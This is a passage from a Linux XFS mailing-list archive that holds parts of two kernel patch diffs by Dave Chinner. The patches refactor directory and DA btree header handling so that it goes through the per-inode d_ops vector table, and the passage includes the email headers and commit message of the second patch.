xfs_dir2_leaf_tail_p(mp, leaf); ents = dp->d_ops->leaf_ents_p(leaf); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); length = dp->d_ops->data_entsize(args->namelen); @@ -945,7 +893,7 @@ xfs_dir2_leaf_addname( /* * Log the leaf fields and give up the buffers. */ - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, lbp); xfs_dir3_leaf_log_ents(tp, dp, lbp, lfloglow, lfloghigh); xfs_dir3_leaf_check(dp, lbp); @@ -968,6 +916,7 @@ xfs_dir3_leaf_compact( int loglow; /* first leaf entry to log */ int to; /* target leaf index */ struct xfs_dir2_leaf_entry *ents; + struct xfs_inode *dp = args->dp; leaf = bp->b_addr; if (!leafhdr->stale) @@ -976,7 +925,7 @@ xfs_dir3_leaf_compact( /* * Compress out the stale entries in place. */ - ents = args->dp->d_ops->leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); for (from = to = 0, loglow = -1; from < leafhdr->count; from++) { if (ents[from].address == cpu_to_be32(XFS_DIR2_NULL_DATAPTR)) continue; @@ -997,11 +946,10 @@ xfs_dir3_leaf_compact( leafhdr->count -= leafhdr->stale; leafhdr->stale = 0; - xfs_dir3_leaf_hdr_to_disk(leaf, leafhdr); - xfs_dir3_leaf_log_header(args->trans, args->dp, bp); + dp->d_ops->leaf_hdr_to_disk(leaf, leafhdr); + xfs_dir3_leaf_log_header(args->trans, dp, bp); if (loglow != -1) - xfs_dir3_leaf_log_ents(args->trans, args->dp, bp, - loglow, to - 1); + xfs_dir3_leaf_log_ents(args->trans, dp, bp, loglow, to - 1); } /* @@ -1290,7 +1238,7 @@ xfs_dir2_leaf_lookup_int( leaf = lbp->b_addr; xfs_dir3_leaf_check(dp, lbp); ents = dp->d_ops->leaf_ents_p(leaf); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); /* * Look for the first leaf entry with our hash value. @@ -1425,7 +1373,7 @@ xfs_dir2_leaf_removename( hdr = dbp->b_addr; xfs_dir3_data_check(dp, dbp); bf = dp->d_ops->data_bestfree_p(hdr); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); /* * Point to the leaf entry, use that to point to the data entry. @@ -1449,7 +1397,7 @@ xfs_dir2_leaf_removename( * We just mark the leaf entry stale by putting a null in it. */ leafhdr.stale++; - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, lbp); lep->address = cpu_to_be32(XFS_DIR2_NULL_DATAPTR); @@ -1602,7 +1550,7 @@ xfs_dir2_leaf_search_hash( leaf = lbp->b_addr; ents = args->dp->d_ops->leaf_ents_p(leaf); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + args->dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); /* * Note, the table cannot be empty, so we have to go through the loop. @@ -1791,7 +1739,7 @@ xfs_dir2_node_to_leaf( return 0; lbp = state->path.blk[0].bp; leaf = lbp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ASSERT(leafhdr.magic == XFS_DIR2_LEAFN_MAGIC || leafhdr.magic == XFS_DIR3_LEAFN_MAGIC); @@ -1803,7 +1751,7 @@ xfs_dir2_node_to_leaf( if (error) return error; free = fbp->b_addr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); ASSERT(!freehdr.firstdb); @@ -1840,7 +1788,7 @@ xfs_dir2_node_to_leaf( memcpy(xfs_dir2_leaf_bests_p(ltp), xfs_dir3_free_bests_p(mp, free), freehdr.nvalid * sizeof(xfs_dir2_data_off_t)); - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, lbp); xfs_dir3_leaf_log_bests(tp, lbp, 0, be32_to_cpu(ltp->bestcount) - 1); xfs_dir3_leaf_log_tail(tp, lbp); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 17e65c7..aea65ce 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -68,7 +68,7 @@ xfs_dir3_leafn_check( struct xfs_dir2_leaf *leaf = bp->b_addr; struct xfs_dir3_icleaf_hdr leafhdr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); if (leafhdr.magic == XFS_DIR3_LEAFN_MAGIC) { struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; @@ -192,53 +192,6 @@ xfs_dir2_free_try_read( return __xfs_dir3_free_read(tp, dp, fbno, -2, bpp); } - -void -xfs_dir3_free_hdr_from_disk( - struct xfs_dir3_icfree_hdr *to, - struct xfs_dir2_free *from) -{ - if (from->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC)) { - to->magic = be32_to_cpu(from->hdr.magic); - to->firstdb = be32_to_cpu(from->hdr.firstdb); - to->nvalid = be32_to_cpu(from->hdr.nvalid); - to->nused = be32_to_cpu(from->hdr.nused); - } else { - struct xfs_dir3_free_hdr *hdr3 = (struct xfs_dir3_free_hdr *)from; - - to->magic = be32_to_cpu(hdr3->hdr.magic); - to->firstdb = be32_to_cpu(hdr3->firstdb); - to->nvalid = be32_to_cpu(hdr3->nvalid); - to->nused = be32_to_cpu(hdr3->nused); - } - - ASSERT(to->magic == XFS_DIR2_FREE_MAGIC || - to->magic == XFS_DIR3_FREE_MAGIC); -} - -static void -xfs_dir3_free_hdr_to_disk( - struct xfs_dir2_free *to, - struct xfs_dir3_icfree_hdr *from) -{ - ASSERT(from->magic == XFS_DIR2_FREE_MAGIC || - from->magic == XFS_DIR3_FREE_MAGIC); - - if (from->magic == XFS_DIR2_FREE_MAGIC) { - to->hdr.magic = cpu_to_be32(from->magic); - to->hdr.firstdb = cpu_to_be32(from->firstdb); - to->hdr.nvalid = cpu_to_be32(from->nvalid); - to->hdr.nused = cpu_to_be32(from->nused); - } else { - struct xfs_dir3_free_hdr *hdr3 = (struct xfs_dir3_free_hdr *)to; - - hdr3->hdr.magic = cpu_to_be32(from->magic); - hdr3->firstdb = cpu_to_be32(from->firstdb); - hdr3->nvalid = cpu_to_be32(from->nvalid); - hdr3->nused = cpu_to_be32(from->nused); - } -} - static int xfs_dir3_free_get_buf( struct xfs_trans *tp, @@ -276,7 +229,7 @@ xfs_dir3_free_get_buf( uuid_copy(&hdr3->hdr.uuid, &mp->m_sb.sb_uuid); } else hdr.magic = XFS_DIR2_FREE_MAGIC; - xfs_dir3_free_hdr_to_disk(bp->b_addr, &hdr); + dp->d_ops->free_hdr_to_disk(bp->b_addr, &hdr); *bpp = bp; return 0; } @@ -368,7 +321,7 @@ xfs_dir2_leaf_to_node( return error; free = fbp->b_addr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); leaf = lbp->b_addr; ltp = xfs_dir2_leaf_tail_p(mp, leaf); ASSERT(be32_to_cpu(ltp->bestcount) <= @@ -392,7 +345,7 @@ xfs_dir2_leaf_to_node( freehdr.nused = n; freehdr.nvalid = be32_to_cpu(ltp->bestcount); - xfs_dir3_free_hdr_to_disk(fbp->b_addr, &freehdr); + dp->d_ops->free_hdr_to_disk(fbp->b_addr, &freehdr); xfs_dir2_free_log_bests(tp, fbp, 0, freehdr.nvalid - 1); xfs_dir2_free_log_header(tp, fbp); @@ -442,7 +395,7 @@ xfs_dir2_leafn_add( mp = dp->i_mount; tp = args->trans; leaf = bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); /* @@ -497,7 +450,7 @@ xfs_dir2_leafn_add( lep->address = cpu_to_be32(xfs_dir2_db_off_to_dataptr(mp, args->blkno, args->index)); - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, bp); xfs_dir3_leaf_log_ents(tp, dp, bp, lfloglow, lfloghigh); xfs_dir3_leaf_check(dp, bp); @@ -507,20 +460,20 @@ xfs_dir2_leafn_add( #ifdef DEBUG static void xfs_dir2_free_hdr_check( - struct xfs_mount *mp, + struct xfs_inode *dp, struct xfs_buf *bp, xfs_dir2_db_t db) { struct xfs_dir3_icfree_hdr hdr; - xfs_dir3_free_hdr_from_disk(&hdr, bp->b_addr); + dp->d_ops->free_hdr_from_disk(&hdr, bp->b_addr); - ASSERT((hdr.firstdb % xfs_dir3_free_max_bests(mp)) == 0); + ASSERT((hdr.firstdb % xfs_dir3_free_max_bests(dp->i_mount)) == 0); ASSERT(hdr.firstdb <= db); ASSERT(db < hdr.firstdb + hdr.nvalid); } #else -#define xfs_dir2_free_hdr_check(mp, dp, db) +#define xfs_dir2_free_hdr_check(dp, dp, db) #endif /* DEBUG */ /* @@ -537,7 +490,7 @@ xfs_dir2_leafn_lasthash( struct xfs_dir2_leaf_entry *ents; struct xfs_dir3_icleaf_hdr leafhdr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ASSERT(leafhdr.magic == XFS_DIR2_LEAFN_MAGIC || leafhdr.magic == XFS_DIR3_LEAFN_MAGIC); @@ -584,7 +537,7 @@ xfs_dir2_leafn_lookup_for_addname( tp = args->trans; mp = dp->i_mount; leaf = bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_check(dp, bp); @@ -655,7 +608,7 @@ xfs_dir2_leafn_lookup_for_addname( return error; free = curbp->b_addr; - xfs_dir2_free_hdr_check(mp, curbp, curdb); + xfs_dir2_free_hdr_check(dp, curbp, curdb); } /* * Get the index for our entry. @@ -734,7 +687,7 @@ xfs_dir2_leafn_lookup_for_entry( tp = args->trans; mp = dp->i_mount; leaf = bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_check(dp, bp); @@ -969,8 +922,8 @@ xfs_dir2_leafn_order( struct xfs_dir3_icleaf_hdr hdr1; struct xfs_dir3_icleaf_hdr hdr2; - xfs_dir3_leaf_hdr_from_disk(&hdr1, leaf1); - xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf2); + dp->d_ops->leaf_hdr_from_disk(&hdr1, leaf1); + dp->d_ops->leaf_hdr_from_disk(&hdr2, leaf2); ents1 = dp->d_ops->leaf_ents_p(leaf1); ents2 = dp->d_ops->leaf_ents_p(leaf2); @@ -1025,8 +978,8 @@ xfs_dir2_leafn_rebalance( } leaf1 = blk1->bp->b_addr; leaf2 = blk2->bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&hdr1, leaf1); - xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf2); + dp->d_ops->leaf_hdr_from_disk(&hdr1, leaf1); + dp->d_ops->leaf_hdr_from_disk(&hdr2, leaf2); ents1 = dp->d_ops->leaf_ents_p(leaf1); ents2 = dp->d_ops->leaf_ents_p(leaf2); @@ -1074,8 +1027,8 @@ xfs_dir2_leafn_rebalance( ASSERT(hdr1.stale + hdr2.stale == oldstale); /* log the changes made when moving the entries */ - xfs_dir3_leaf_hdr_to_disk(leaf1, &hdr1); - xfs_dir3_leaf_hdr_to_disk(leaf2, &hdr2); + dp->d_ops->leaf_hdr_to_disk(leaf1, &hdr1); + dp->d_ops->leaf_hdr_to_disk(leaf2, &hdr2); xfs_dir3_leaf_log_header(args->trans, dp, blk1->bp); xfs_dir3_leaf_log_header(args->trans, dp, blk2->bp); @@ -1124,8 +1077,9 @@ xfs_dir3_data_block_free( int logfree = 0; __be16 *bests; struct xfs_dir3_icfree_hdr freehdr; + struct xfs_inode *dp = args->dp; - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); bests = xfs_dir3_free_bests_p(tp->t_mountp, free); if (hdr) { @@ -1161,7 +1115,7 @@ xfs_dir3_data_block_free( logfree = 1; } - xfs_dir3_free_hdr_to_disk(free, &freehdr); + dp->d_ops->free_hdr_to_disk(free, &freehdr); xfs_dir2_free_log_header(tp, fbp); /* @@ -1226,7 +1180,7 @@ xfs_dir2_leafn_remove( tp = args->trans; mp = dp->i_mount; leaf = bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); /* @@ -1247,7 +1201,7 @@ xfs_dir2_leafn_remove( * Log the leaf block changes. */ leafhdr.stale++; - xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); + dp->d_ops->leaf_hdr_to_disk(leaf, &leafhdr); xfs_dir3_leaf_log_header(tp, dp, bp); lep->address = cpu_to_be32(XFS_DIR2_NULL_DATAPTR); @@ -1298,7 +1252,7 @@ xfs_dir2_leafn_remove( #ifdef DEBUG { struct xfs_dir3_icfree_hdr freehdr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); ASSERT(freehdr.firstdb == xfs_dir3_free_max_bests(mp) * (fdb - XFS_DIR2_FREE_FIRSTDB(mp))); } @@ -1449,7 +1403,7 @@ xfs_dir2_leafn_toosmall( */ blk = &state->path.blk[state->path.active - 1]; leaf = blk->bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); + dp->d_ops->leaf_hdr_from_disk(&leafhdr, leaf); ents = dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_check(dp, blk->bp); @@ -1511,7 +1465,7 @@ xfs_dir2_leafn_toosmall( bytes = state->blocksize - (state->blocksize >> 2); leaf = bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf); + dp->d_ops->leaf_hdr_from_disk(&hdr2, leaf); ents = dp->d_ops->leaf_ents_p(leaf); count += hdr2.count - hdr2.stale; bytes -= count * sizeof(ents[0]); @@ -1574,10 +1528,10 @@ xfs_dir2_leafn_unbalance( drop_leaf = drop_blk->bp->b_addr; save_leaf = save_blk->bp->b_addr; - xfs_dir3_leaf_hdr_from_disk(&savehdr, save_leaf); - xfs_dir3_leaf_hdr_from_disk(&drophdr, drop_leaf); - sents = args->dp->d_ops->leaf_ents_p(save_leaf); - dents = args->dp->d_ops->leaf_ents_p(drop_leaf); + dp->d_ops->leaf_hdr_from_disk(&savehdr, save_leaf); + dp->d_ops->leaf_hdr_from_disk(&drophdr, drop_leaf); + sents = dp->d_ops->leaf_ents_p(save_leaf); + dents = dp->d_ops->leaf_ents_p(drop_leaf); /* * If there are any stale leaf entries, take this opportunity @@ -1603,8 +1557,8 @@ xfs_dir2_leafn_unbalance( save_blk->hashval = be32_to_cpu(sents[savehdr.count - 1].hashval); /* log the changes made when moving the entries */ - xfs_dir3_leaf_hdr_to_disk(save_leaf, &savehdr); - xfs_dir3_leaf_hdr_to_disk(drop_leaf, &drophdr); + dp->d_ops->leaf_hdr_to_disk(save_leaf, &savehdr); + dp->d_ops->leaf_hdr_to_disk(drop_leaf, &drophdr); xfs_dir3_leaf_log_header(args->trans, dp, save_blk->bp); xfs_dir3_leaf_log_header(args->trans, dp, drop_blk->bp); @@ -1735,7 +1689,7 @@ xfs_dir2_node_addname_int( free = fbp->b_addr; findex = fblk->index; bests = xfs_dir3_free_bests_p(mp, free); - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); /* * This means the free entry showed that the data block had @@ -1828,7 +1782,7 @@ xfs_dir2_node_addname_int( * there, so we have to do it here to avoid warnings. Blech. */ bests = xfs_dir3_free_bests_p(mp, free); - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); if (be16_to_cpu(bests[findex]) != NULLDATAOFF && be16_to_cpu(bests[findex]) >= length) dbno = freehdr.firstdb + findex; @@ -1927,7 +1881,7 @@ xfs_dir2_node_addname_int( return error; free = fbp->b_addr; bests = xfs_dir3_free_bests_p(mp, free); - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); /* * Remember the first slot as our empty slot. @@ -1937,7 +1891,7 @@ xfs_dir2_node_addname_int( } else { free = fbp->b_addr; bests = xfs_dir3_free_bests_p(mp, free); - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); } /* @@ -1962,7 +1916,7 @@ xfs_dir2_node_addname_int( */ if (bests[findex] == cpu_to_be16(NULLDATAOFF)) { freehdr.nused++; - xfs_dir3_free_hdr_to_disk(fbp->b_addr, &freehdr); + dp->d_ops->free_hdr_to_disk(fbp->b_addr, &freehdr); xfs_dir2_free_log_header(tp, fbp); } /* @@ -2294,7 +2248,7 @@ xfs_dir2_node_trim_free( if (!bp) return 0; free = bp->b_addr; - xfs_dir3_free_hdr_from_disk(&freehdr, free); + dp->d_ops->free_hdr_from_disk(&freehdr, free); /* * If there are used entries, there's nothing to do. diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 3e4b5ba..8b9d228 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -94,10 +94,6 @@ xfs_dir3_leaf_find_entry(struct xfs_dir3_icleaf_hdr *leafhdr, int lowstale, int highstale, int *lfloglow, int *lfloghigh); extern int xfs_dir2_node_to_leaf(struct xfs_da_state *state); -extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); -extern void xfs_dir3_leaf_hdr_to_disk(struct xfs_dir2_leaf *to, - struct xfs_dir3_icleaf_hdr *from); extern bool xfs_dir3_leaf_check_int(struct xfs_mount *mp, struct xfs_inode *dp, struct xfs_dir3_icleaf_hdr *hdr, struct xfs_dir2_leaf *leaf); -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6033E7F67 for ; Sun, 29 Sep 2013 22:07:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F6BFAC001 for ; Sun, 29 Sep 2013 20:07:35 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610006-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id P0ZsvC5PaFX2RcI6 for ; Sun, 29 Sep 2013 20:07:33 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJgEFGg0vMwhJOQMbGYgFvAaTegOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lr-R2 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002CQ-QJ for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/16] xfs: vectorise DA btree operations Date: Mon, 30 Sep 2013 13:07:09 +1000 X-ASG-Orig-Subj: [PATCH 12/16] xfs: vectorise DA btree operations Message-Id: <1380510433-8353-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510452 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The remaining non-vectorised code for the directory structure is the node format blocks. This is shared with the attribute tree, and so is slightly more complex to vectorise. Introduce a "non-directory" directory ops structure that is attached to all non-directory inodes so that attribute operations can be vectorised for all inodes. Once we do this, we can vectorise all the da btree operations. Because this patch adds more infrastructure than it removes the binary size does not decrease: text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 789061 96802 1096 886959 d88af fs/xfs/xfs.o.p5 789733 96802 1096 887631 d8b4f fs/xfs/xfs.o.p6 Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr_inactive.c | 3 +- fs/xfs/xfs_attr_leaf.c | 3 +- fs/xfs/xfs_attr_list.c | 11 ++--- fs/xfs/xfs_da_btree.c | 104 +++++++++++++++++++++++++-------------------- fs/xfs/xfs_da_format.c | 59 +++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 25 ----------- fs/xfs/xfs_dir2.c | 7 ++- fs/xfs/xfs_dir2.h | 6 +++ fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_mount.h | 1 + 10 files changed, 139 insertions(+), 81 deletions(-) diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index f33fb62..4855085 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -40,6 +40,7 @@ #include "xfs_quota.h" #include "xfs_trace.h" #include "xfs_dinode.h" +#include "xfs_dir2.h" /* * Look at all the extents for this logical region, @@ -236,7 +237,7 @@ xfs_attr3_node_inactive( xfs_trans_brelse(*trans, bp); return 0; } - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); child_fsb = be32_to_cpu(btree[0].before); xfs_trans_brelse(*trans, bp); /* no locks for later trans */ diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index a0f9019..82f1354 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -41,6 +41,7 @@ #include "xfs_buf_item.h" #include "xfs_cksum.h" #include "xfs_dinode.h" +#include "xfs_dir2.h" /* @@ -916,7 +917,7 @@ xfs_attr3_leaf_to_node( goto out; node = bp1->b_addr; xfs_da3_node_hdr_from_disk(&icnodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); leaf = bp2->b_addr; xfs_attr3_leaf_hdr_from_disk(&icleafhdr, leaf); diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index 46c4ce1..ea1c4c4 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -40,6 +40,7 @@ #include "xfs_buf_item.h" #include "xfs_cksum.h" #include "xfs_dinode.h" +#include "xfs_dir2.h" STATIC int xfs_attr_shortform_compare(const void *a, const void *b) @@ -226,6 +227,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) struct xfs_da_node_entry *btree; int error, i; struct xfs_buf *bp; + struct xfs_inode *dp = context->dp; trace_xfs_attr_node_list(context); @@ -239,7 +241,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) */ bp = NULL; if (cursor->blkno > 0) { - error = xfs_da3_node_read(NULL, context->dp, cursor->blkno, -1, + error = xfs_da3_node_read(NULL, dp, cursor->blkno, -1, &bp, XFS_ATTR_FORK); if ((error != 0) && (error != EFSCORRUPTED)) return(error); @@ -289,7 +291,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) for (;;) { __uint16_t magic; - error = xfs_da3_node_read(NULL, context->dp, + error = xfs_da3_node_read(NULL, dp, cursor->blkno, -1, &bp, XFS_ATTR_FORK); if (error) @@ -310,7 +312,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) } xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); for (i = 0; i < nodehdr.count; btree++, i++) { if (cursor->hashval <= be32_to_cpu(btree->hashval)) { @@ -346,8 +348,7 @@ xfs_attr_node_list(xfs_attr_list_context_t *context) break; cursor->blkno = leafhdr.forw; xfs_trans_brelse(NULL, bp); - error = xfs_attr3_leaf_read(NULL, context->dp, cursor->blkno, -1, - &bp); + error = xfs_attr3_leaf_read(NULL, dp, cursor->blkno, -1, &bp); if (error) return error; } diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index df3759c..26dfc42 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -379,7 +379,8 @@ xfs_da3_node_create( xfs_da3_node_hdr_to_disk(node, &ichdr); xfs_trans_log_buf(tp, bp, - XFS_DA_LOGRANGE(node, &node->hdr, xfs_da3_node_hdr_size(node))); + XFS_DA_LOGRANGE(node, &node->hdr, + args->dp->d_ops->node_hdr_size())); *bpp = bp; return(0); @@ -590,7 +591,7 @@ xfs_da3_root_split( struct xfs_da3_icnode_hdr nodehdr; xfs_da3_node_hdr_from_disk(&nodehdr, oldroot); - btree = xfs_da3_node_tree_p(oldroot); + btree = dp->d_ops->node_tree_p(oldroot); size = (int)((char *)&btree[nodehdr.count] - (char *)oldroot); level = nodehdr.level; @@ -650,7 +651,7 @@ xfs_da3_root_split( node = bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); btree[0].hashval = cpu_to_be32(blk1->hashval); btree[0].before = cpu_to_be32(blk1->blkno); btree[1].hashval = cpu_to_be32(blk2->hashval); @@ -793,6 +794,7 @@ xfs_da3_node_rebalance( int count; int tmp; int swap = 0; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_rebalance(state->args); @@ -800,8 +802,8 @@ xfs_da3_node_rebalance( node2 = blk2->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr1, node1); xfs_da3_node_hdr_from_disk(&nodehdr2, node2); - btree1 = xfs_da3_node_tree_p(node1); - btree2 = xfs_da3_node_tree_p(node2); + btree1 = dp->d_ops->node_tree_p(node1); + btree2 = dp->d_ops->node_tree_p(node2); /* * Figure out how many entries need to move, and in which direction. @@ -816,8 +818,8 @@ xfs_da3_node_rebalance( node2 = tmpnode; xfs_da3_node_hdr_from_disk(&nodehdr1, node1); xfs_da3_node_hdr_from_disk(&nodehdr2, node2); - btree1 = xfs_da3_node_tree_p(node1); - btree2 = xfs_da3_node_tree_p(node2); + btree1 = dp->d_ops->node_tree_p(node1); + btree2 = dp->d_ops->node_tree_p(node2); swap = 1; } @@ -882,12 +884,12 @@ xfs_da3_node_rebalance( xfs_da3_node_hdr_to_disk(node1, &nodehdr1); xfs_trans_log_buf(tp, blk1->bp, XFS_DA_LOGRANGE(node1, &node1->hdr, - xfs_da3_node_hdr_size(node1))); + dp->d_ops->node_hdr_size())); xfs_da3_node_hdr_to_disk(node2, &nodehdr2); xfs_trans_log_buf(tp, blk2->bp, XFS_DA_LOGRANGE(node2, &node2->hdr, - xfs_da3_node_hdr_size(node2) + + dp->d_ops->node_hdr_size() + (sizeof(btree2[0]) * nodehdr2.count))); /* @@ -899,8 +901,8 @@ xfs_da3_node_rebalance( node2 = blk2->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr1, node1); xfs_da3_node_hdr_from_disk(&nodehdr2, node2); - btree1 = xfs_da3_node_tree_p(node1); - btree2 = xfs_da3_node_tree_p(node2); + btree1 = dp->d_ops->node_tree_p(node1); + btree2 = dp->d_ops->node_tree_p(node2); } blk1->hashval = be32_to_cpu(btree1[nodehdr1.count - 1].hashval); blk2->hashval = 